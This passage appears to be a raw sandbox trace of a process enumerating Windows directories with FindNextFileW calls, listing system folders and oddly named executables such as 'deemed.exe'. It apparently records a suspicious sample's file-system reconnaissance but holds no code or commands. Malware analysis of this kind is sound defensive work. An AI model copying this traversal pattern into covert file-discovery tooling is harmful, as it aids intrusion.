ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8b3c077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93991459, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0180.973] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.973] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c00614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93a9c3f1, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0180.975] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0180.975] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c62177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x949a9132, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi-VN", cAlternateFileName="")) returned 1 [0181.176] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0181.176] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c9dee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94c57ba9, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0181.177] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0181.177] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db6dd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0181.180] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0181.180] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0181.181] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0181.181] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0181.182] FindClose (in: hFindFile=0x4531740 | out: hFindFile=0x4531740) returned 1 [0181.182] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0181.182] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d8d47d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x89d8d47d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x89d8d47d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x455c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Detector_131491847713900000.xml", cAlternateFileName="DETECT~1.XML")) returned 1 [0181.182] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0181.184] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa755519f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91be532c-f9f1-406a-9858-43697c6f437a}", cAlternateFileName="{91BE5~1")) returned 0 [0181.184] FindClose (in: hFindFile=0x4531980 | out: hFindFile=0x4531980) returned 1 [0181.184] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0181.185] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa74805fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Campaigns", cAlternateFileName="CAMPAI~1")) returned 0 [0181.185] FindClose (in: hFindFile=0x4532440 | out: hFindFile=0x4532440) returned 1 [0181.185] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0181.186] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc2db4c0, ftCreationTime.dwHighDateTime=0x1d4f5d5, ftLastAccessTime.dwLowDateTime=0x26ce47c0, ftLastAccessTime.dwHighDateTime=0x1d4caa3, ftLastWriteTime.dwLowDateTime=0x26ce47c0, ftLastWriteTime.dwHighDateTime=0x1d4caa3, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="deemed.exe", cAlternateFileName="")) returned 1 [0181.188] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0181.188] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106b6e00, ftCreationTime.dwHighDateTime=0x1d2c1d0, ftLastAccessTime.dwLowDateTime=0x4c5561e0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x106b6e00, ftLastWriteTime.dwHighDateTime=0x1d2c1d0, nFileSizeHigh=0x0, nFileSizeLow=0xc86, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="Task.xml", cAlternateFileName="")) returned 1 [0181.189] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0181.191] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa8f11cc1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x711dc3b4, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0181.194] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0181.194] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a5b2a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a5b2a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a5b2a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb2fa0, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="EppManifest.dll", cAlternateFileName="")) returned 1 [0181.195] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0181.195] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x851a0, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="ProtectionManagement.dll", cAlternateFileName="")) returned 1 [0181.196] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0181.196] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xece6534e, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xece6534e, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1 [0181.196] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0181.196] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x383524c0, ftCreationTime.dwHighDateTime=0x1d4f48d, ftLastAccessTime.dwLowDateTime=0xeb1bd0c0, ftLastAccessTime.dwHighDateTime=0x1d4ac8a, ftLastWriteTime.dwLowDateTime=0xeb1bd0c0, ftLastWriteTime.dwHighDateTime=0x1d4ac8a, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="meanwhile-legends.exe", cAlternateFileName="MEANWH~1.EXE")) returned 1 [0181.197] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0181.197] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa90b6918, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1 [0181.197] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0181.197] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d342cc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d342cc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1f0a00, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="msoe.dll", cAlternateFileName="")) returned 1 [0181.197] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0181.197] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9123675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0181.199] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0181.199] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9125145, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="Icons", cAlternateFileName="")) returned 1 [0181.199] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0181.199] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9182d5a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1 [0181.201] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0181.201] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40fd93f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc4f45c00, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1 [0181.203] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0181.204] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88286500, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x1c0200, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1 [0181.204] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0181.204] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c754d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="Visualizations", cAlternateFileName="VISUAL~1")) returned 1 [0181.204] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0181.204] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f0da9a, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb49bb00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1 [0181.204] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0181.204] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c7efb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1 [0181.205] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0181.205] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c8710, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1 [0181.205] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0181.205] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47cb7852, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xbe78b154, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x47cb7852, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x448600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wordpad.exe", cAlternateFileName="")) returned 1 [0181.206] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0181.206] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9257555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 1 [0181.209] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0181.210] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b88afa, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x68b88afa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x68b88afa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa0800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1 [0181.210] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0181.210] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9257555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 0 [0181.211] FindClose (in: hFindFile=0x4531f80 | out: hFindFile=0x4531f80) returned 1 [0181.211] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0181.213] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xedd25bc1, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xedd25bc1, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1 [0181.833] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0181.833] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9550fd74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9550fd74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9550fd74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19940, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1 [0181.834] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0181.834] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xece3f11a, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xece3f11a, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0181.834] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0181.834] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92acc65, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Security", cAlternateFileName="WIDB62~1")) returned 1 [0181.836] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0181.836] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5845b6dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5845b6dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5845b6dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="manifest.json", cAlternateFileName="")) returned 1 [0181.836] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0181.836] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ad688, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="BrowserCore", cAlternateFileName="BROWSE~1")) returned 0 [0181.836] FindClose (in: hFindFile=0x4532440 | out: hFindFile=0x4532440) returned 1 [0181.836] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0181.836] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x16, 